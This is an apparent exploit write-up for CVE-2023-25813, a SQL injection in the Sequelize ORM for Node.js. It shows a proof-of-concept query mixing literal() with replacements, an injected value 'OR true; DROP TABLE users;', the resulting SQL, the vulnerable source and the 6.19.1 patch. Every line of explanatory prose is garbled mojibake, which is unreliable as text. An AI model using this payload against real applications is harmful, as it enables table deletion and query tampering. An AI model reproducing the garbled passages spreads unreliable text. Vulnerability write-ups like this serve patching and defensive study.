Share
## https://sploitus.com/exploit?id=C1CEDF4F-9693-5F36-A12B-DB4D5F063A16
# CVE-2023-25813
## CVE ์ ๋ณด
- **CVE ๋ฒํธ**: [CVE-2023-25813](https://nvd.nist.gov/vuln/detail/CVE-2023-25813)
- **์ค๋ช
**: Sequelize < 6.19.1 ๋ฒ์ ์์ `replacements` ์ต์
์ผ๋ก ์ ๋ฌ๋ ์
๋ ฅ๊ฐ์ด ์ ์ ํ ์ด์ค์ผ์ดํ๋์ง ์์, ํน์ ์ฟผ๋ฆฌ ๊ตฌ์ฑ์ ๋ฐ๋ผ SQL Injection์ด ๋ฐ์ํ ์ ์๋ค.
- **์ทจ์ฝ ๋ฒ์**: Sequelize 6.19.0 ์ดํ ๋ฒ์
- **ํจ์น ๋ฒ์ **: 6.19.1
- **CVSS ์ ์**
- **NIST ๊ธฐ์ค**: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **GitHub (CNA) ๊ธฐ์ค**: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
## ์ฌํ ํ๊ฒฝ
- Node.js
- Sequelize v6.19.0
- MySQL
## Sequelize ๊ฐ์
Sequelize๋ Node.js์์ ์ฌ์ฉํ ์ ์๋ ORM(Object-Relational Mapping) ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ค ํ๋์ด๋ค. ORM์ ๊ฐ์ฒด์ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ฐ์ ์ํธ ๋ณํ์ ์๋ํํ๋ ๊ธฐ์ ๋ก, SQL ์ฟผ๋ฆฌ๋ฅผ ์ง์ ์์ฑํ์ง ์๊ณ ๋ ๊ฐ์ฒด๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ ์ฝ๋๋ฅผ ์กฐํ, ์์ฑ, ์์ , ์ญ์ ํ ์ ์๋ค.
```jsx
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
```
## Replacements ์ฌ์ฉ ๋ฐฉ๋ฒ
`replacements`๋ Sequelize์์ ์์ SQL ์ฟผ๋ฆฌ ๋๋ ORM ๋ฉ์๋๋ฅผ ์ฌ์ฉํ ๋, ์ฌ์ฉ์ ์
๋ ฅ๊ฐ์ SQL์ ์์ ํ๊ฒ ์ฃผ์
ํ๊ธฐ ์ํ ๋ฐ์ธ๋ฉ ๋ฉ์ปค๋์ฆ์ด๋ค. ์ด๋ SQL Injection์ ๋ฐฉ์งํ๊ธฐ ์ํ ์ฃผ์ ์๋จ์ผ๋ก ์ฌ์ฉ๋๋ค.
```jsx
// ์์น ๊ธฐ๋ฐ ๋ฐ์ธ๋ฉ
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// ํค ๊ธฐ๋ฐ ๋ฐ์ธ๋ฉ
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
```
## ์ทจ์ฝ์ ๊ฐ์
Sequelize๋ ์ฌ์ฉ์ ์
๋ ฅ๊ฐ์ SQL์ ์์ ํ๊ฒ ๋ฐ์ธ๋ฉํ๊ธฐ ์ํด `replacements` ์ต์
์ ์ ๊ณตํ๋ค.
๊ทธ๋ฌ๋ Sequelize 6.19.1 ๋ฏธ๋ง ๋ฒ์ ์์๋ ORM ๋ฉ์๋ ์ฌ์ฉ ์, `replacements`๋ฅผ ํตํด ๋ฐ์ธ๋ฉํ์์๋ ๋ถ๊ตฌํ๊ณ **๋ด๋ถ SQL ์์ฑ ๋ฐ ์นํ ์์์ ๋ฌธ์ **๋ก ์ธํด SQL Injection์ด ๋ฐ์ํ ์ ์๋ค.
## PoC
์๋๋ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ Sequelize ์ฝ๋ ์์์ด๋ค. literal๊ณผ replacements๋ฅผ ์กฐํฉํ์ฌ ์ฌ์ฉํ๋ ์ํฉ์์ SQL Injection์ด ๋ฐ์ํ ์ ์๋ค.
```jsx
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
```
๊ณต๊ฒฉ์๋ replacements์ ๋ค์๊ณผ ๊ฐ์ ์
๋ ฅ๊ฐ์ ์ฃผ์
ํจ์ผ๋ก์จ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๊ฐ ๋ฌด๋์ง๊ฒ ๋๋ค.
```jsx
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
```
replacements ํค(:firstName)๋ฅผ ๊ฐ์๋ ๋ค์ ์ฝ์
ํ์ฌ, ๋ฐ์ธ๋ฉ ํค๋ฅผ ํ ๋ฒ ๋ ๋ฃ์ด์ฃผ๋ ๊ตฌ์กฐ์ด๋ค.
```sql
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
```
์์ฑ๋ ์ต์ข
์ฟผ๋ฆฌ๋ ์๋์ ๊ฐ๋ค. ํ์ง๋ง, ํด๋น ์ฟผ๋ฆฌ๋ ๊ตฌ์กฐ์ ๋ช
ํํ๊ฒ ์คํ ์ฌ๋ถ๋ฅผ ํ๋จํ๊ธฐ ์ด๋ ค์ด ํํ๋ฅผ ์ทจํ๊ณ ์์ผ๋ฉฐ SQL ํ์์ ํด์ ๋ฐฉ์ ๋ฐ DB ์ค์ ์ ๋ฐ๋ผ ์คํ ๊ฒฐ๊ณผ๊ฐ ๋ฌ๋ผ์ง ์๋ ์์ ๋ฏ ํ๋ค. ์ผ๋ถ ํ๊ฒฝ์์๋ ๋จ์ํ ๊ตฌ๋ฌธ ์ค๋ฅ๋ก ์ฒ๋ฆฌ๋์ง๋ง, ์ค์ ์ ๋ฐ๋ผ์ ์๋ํ์ง ์์ SQL ๋ช
๋ น์ด๊ฐ ์คํ๋ ์ ์๋ ์ํํ ๊ตฌ์กฐ์ด๋ค.
```sql
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
```
๋ง์ฝ, SQL ํ์๊ฐ ๋ฉํฐ์ฟผ๋ฆฌ๋ฅผ ํ์ฉํ๋ ํ๊ฒฝ์ด๋ผ๋ฉด, ๋ฐ์ธ๋ฉ ํ๋๋ก ํ
์ด๋ธ์ ์ญ์ ์ํฌ ์ ์๋ค.

## ์ทจ์ฝ์ ๋ฐ์ ์์ธ
Sequelize๋ literal ํจ์์ ๋ค์ด๊ฐ ๋ฌธ์์ด์ ์ ๋ขฐํ๋ SQL ์กฐ๊ฐ์ผ๋ก ๊ฐ์ฃผํ์ฌ escapeํ์ง ์๋๋ค. ๋ฐ๋ผ์, ํด๋น ๋ฌธ์์ด์ SQL ์ฟผ๋ฆฌ์ ๊ทธ๋๋ก ์ฝ์
๋๋ฉฐ, ๊ทธ ์์ :param์ด ๋จ์์๋๋ผ๋ ์๋ฌด๋ฐ ์ฒ๋ฆฌ ์์ด ๋จ๊ฒจ์ง๋ค.
์๋์ ๊ฐ์ด, `replacements`๋ SQL์ด ์์ ํ ๋ฌธ์์ด๋ก ์กฐ๋ฆฝ๋ ์ดํ ์คํ ์ง์ ์ ๋จ์ ์๋ `:param` ํ ํฐ์ ์ฐพ์ ์นํํ๋ ๋ฐฉ์์ด๊ธฐ ๋๋ฌธ์, ์ด๋ฏธ ๊ตฌ์กฐ๊ฐ ํ์ ๋ SQL ๋ด๋ถ์ ์ฌ์ฉ์ ์
๋ ฅ์ด ๊ทธ๋๋ก ์ฝ์
๋๋ฉฐ, ๊ทธ๋ก ์ธํด ์ฟผ๋ฆฌ ์ ์ฒด์ ๊ตฌ์กฐ๊ฐ ๋ฌด๋์ง๊ณ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๊ฒ ๋๋ค.
```jsx
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
```
## ํจ์น
injectReplacements๋ฅผ ์ ์ํ์ฌ ๋ฌธ๋ฒ์ ์ผ๋ก ์์ ํ ๊ณณ์์๋ง ๋ฐ์ธ๋ฉ์ ํ์ฉํ๋๋ก ๋ณ๊ฒฝ๋์๋ค.
```jsx
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}
```
## Reference
- [https://github.com/sequelize/sequelize/issues/9410](https://github.com/sequelize/sequelize/issues/9410)
- [https://github.com/advisories/GHSA-wrh9-cjv3-2hpw](https://github.com/advisories/GHSA-wrh9-cjv3-2hpw)
- [https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1](https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1)